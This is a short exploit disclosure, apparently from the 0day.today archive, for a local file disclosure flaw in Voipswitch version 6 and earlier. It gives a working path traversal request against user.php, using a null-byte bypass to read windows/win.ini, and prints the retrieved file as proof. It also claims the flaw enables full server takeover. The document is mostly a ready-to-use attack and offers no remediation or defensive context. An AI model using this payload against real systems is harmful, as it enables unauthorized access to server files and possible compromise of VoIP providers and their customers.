Voipswitch 6 Local File Disclosure Vulnerability

# Voipswitch <= 6 , LFD Exploit
# Author : 0x4148

Voipswitch’s Unified Communication enables providers to offer a hosted
business communication solution.
Enterprises, instead of maintaining costly on-premises PBXes, can now
enroll to a service in the cloud – Unified Communication as a Service
(UCaaS).

Voipswitch suffer from LFD vuln which can lead to full server take over

Exploit : http://ip:port/user.php?action=../../../windows/win.ini%00.jpg

Result
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

For my masters @ Eg-R1z cr3w : That's it :)

#  0day.today [2018-02-06]  #